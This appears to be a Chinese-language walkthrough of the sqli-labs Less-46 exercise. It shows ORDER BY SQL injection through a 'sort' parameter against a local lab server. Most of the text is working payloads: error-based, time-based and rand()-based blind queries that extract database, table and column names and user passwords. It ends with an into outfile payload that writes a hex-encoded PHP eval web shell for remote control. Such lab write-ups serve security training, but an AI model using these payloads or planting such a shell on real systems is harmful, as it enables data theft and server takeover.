Less-46
基於錯誤_GET_數字型_排序注入
這一關首先要說一下的是,在前面的關卡中我們大多是使用 id這個參數來獲取到正常的頁面,但在這幾關中我們要使用 sort 這個參數,因爲後臺源代碼這樣設置了
那麼接下來我們看一下正常的頁面:
我們看到了正常的頁面,從中我們也發現了數字的不同,頁面給我們呈現出的賬號表格中的順序是不同的,那麼這就是我們這幾關要說的知識點。
這關往後都是
order by
語句與limit
語句的相關注入,還是很實用的,尤其是對於一些會顯示錶格的網站,他們的 URL 中通常都會有sort
和limit
兩個參數。
同樣地,這關有很多種注入方式,將一一詳細介紹。
首先我們來看一下後臺的SQL語句:
從中我們瞭解到通過sort
參數接收需要排序的列的序號(從1開始)
嘗試
sort=1 asc
和sort=1 desc
,分別顯示升序和降序的表格,說明此處是注入點,即注入點在order by
後的參數中,
而
order by
不同於在where
後的注入,不能使用union
等進行注入。
如何進行order by
的注入,我們先來了解一下 MySQL 官方的select
文檔。
https://dev.mysql.com/doc/refman/8.0/en/select.html
order by 後的數字可以作爲一個注入點。也就是構造 order by 後的一個語句,讓該語句執行結果爲一個數,我們嘗試:
http://192.168.33.1/sqli/Less-46/?sort=left(version(),1)
http://192.168.33.1/sqli/Less-46/?sort=right(version(),1)
沒有報錯,但是 right 換成 left 都一樣,說明數字沒有起作用,我們考慮布爾類型。此時我
們可以用報錯注入和延時注入。
此處可以直接構造 ?sort= 後面的一個參數。此時,我們可以有三種形式,
形式一:
?sort=(select ······)
形式二:
?sort=1 and (select ······)
形式三:
?sort=rand(······)
由於Less-46是
數字型注入
,所以形式一和形式二可以說是一樣的
順便說一下,源代碼中有這樣一句:這是我們能進行報錯注入的根本
①直接添加註入語句,?sort=(select ******) 即可利用基於報錯注入,延時盲注
基於報錯注入主要採用的是雙注入的方法,即子查詢 / 派生表,這在 Less 17 中有詳細的介紹。因爲這裏
order by
只能接一個字段,所以應當採用派生表的方法,原理見 Less 17:當然使用一些報錯函數如:updatexml 等是一樣的
基於報錯注入:
暴庫
?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
暴表:
1.這裏我使用group_concat()沒有成功,老毛病,別人卻能成功
?sort=(select 1 from (select count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a) b)
既然group_concat()函數無效,那麼換個語法:
?sort=(select 1 from (select count(*),concat_ws('-',(select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a) b)
我們知道floor(rand()*2)具有隨機性,有時會出現:
多嘗試幾次就可以了,當然也可以在floor(rand(0)*2) 填一個0,這樣頁面都會返回我們的報錯信息,不過前提時記錄條數要大於3,(一般記錄數據都會大於3的)
爆字段名
?sort=(select 1 from (select count(*),concat_ws('-',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)
爆數據:
?sort=(select 1 from (select count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand(0)*2))as a from information_schema.tables group by a) b)
在《注入天書》中還見到了派生表的另一種寫法:
?sort=(select count(*) from information_schema.schemata group by concat_ws('-',(select database()),floor(rand()*2)))
這裏展示一個updatexml的例子:
?sort=UpdateXml(1,concat(0x7e,database(),0x7e),1)
基於延時注入:
在這裏使用延時注入會有新的發現,比如使用:
?sort=if(ascii(mid(database(),1,1))=115,sleep(3),0) ===》(slect .........)加不加都可以
發現sleep的時間遠遠大於3秒
於是改小sleep的時間爲0.1秒,發現沉睡時間大約2秒,這是怎們回事在前面的關卡中沒太注意是因爲sleep的時間不會很長,基本接近自己設置的sleep時間
於是,查看了一下別人的博客發現:
查了發現sleep()
這個函數水很深:
添加
sleep(N)
這個函數後,語句的執行具體會停留多長時間取決於滿足條件的記錄數,MySQL 會對每條滿足條件的記錄停留 N 秒鐘。
單次查詢:
http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid(database(),1,1))=115,sleep(0.1),0)
代碼複用:
http://localhost:8088/sqlilabs/Less-46/?sort=if(ascii(mid((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(0.1),0)
當然,我們也可以用一種思路,如果條件爲真,返回1,如果條件爲false,則sleep(N)
?sort=if(ascii(mid(database(),1,1))=115,1,sleep(3))
關於延時注入詳情,參考Less-9
在前面我也說了Less-46是數字型注入,那麼形式一和形式二的用法是一樣的,所以形式二我就
不介紹了。
基於布爾盲注:
這裏我想說的是既然延時注入可以,那麼爲什麼布爾盲注卻不可以?
MySQL 像 PHP,也是一種弱類型,它會認爲
true=1
,false=0
。
用在order by
後會直接導致顯示不同,因爲沒有第0列:
其中我們已經看到,order by
接返回數字或布爾值(因爲是弱類型,布爾值返回仍是數字)的語句是沒有作用的!
所以第一和第二句式都不可以盲注,因爲顯示沒有區別。
我們只能用第三句式的rand()
函數。
rand()
函數早在 Less 5 中已經介紹過了,它是個隨機函數,返回0~1間的小數。使用時也可以給定參數值(隨機種子),相同的參數生成的結果也相同,我們只需注意兩個:應用在
order by
中也如此:
通過觀察ID順序的不同,即可判斷true頁面和false頁面。
true:
?sort=rand(ascii(left(database(),1))=115)
fslse:
?sort=rand(ascii(left(database(),1))=116)
想這樣 rand(left(database(),1)>'s' )直接套用即可,具體步驟參考Less-8
procedure analyse 參數後注入
利用 procedure analyse 參數,我們可以執行報錯注入。同時,在 procedure analyse 和 order by 之間可以存在 limit 參數,我們在實際應用中,往往也可能會存在 limit 後的注入,可以利用 procedure analyse 進行注入。
以下爲示範例:
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
導出文件 into outfile 參數注入:
?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.txt"
上圖中顯示 sql 出錯了,但是沒有關係,我們可以在瀏覽器或後臺中看到 test.txt 文件已經生成了
注意:仍有 Less 7 中提到的數據導入導出權限和路徑轉義的問題,需要重視。
導出文件我們就可以考慮上傳一句話木馬:(可以考慮上傳網馬,利用 lines terminated by。)
?sort=1 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-46\\test.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e
其中lines terminates by
將每行以指定字符串結尾:
0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e =
hex(<?php eval($_POST["cmd"]);?>)
查看後臺文件:
使用中國菜刀拿到 shell,也可參考 Less 7
--------------------------- 分隔符 ------------------------
Less-47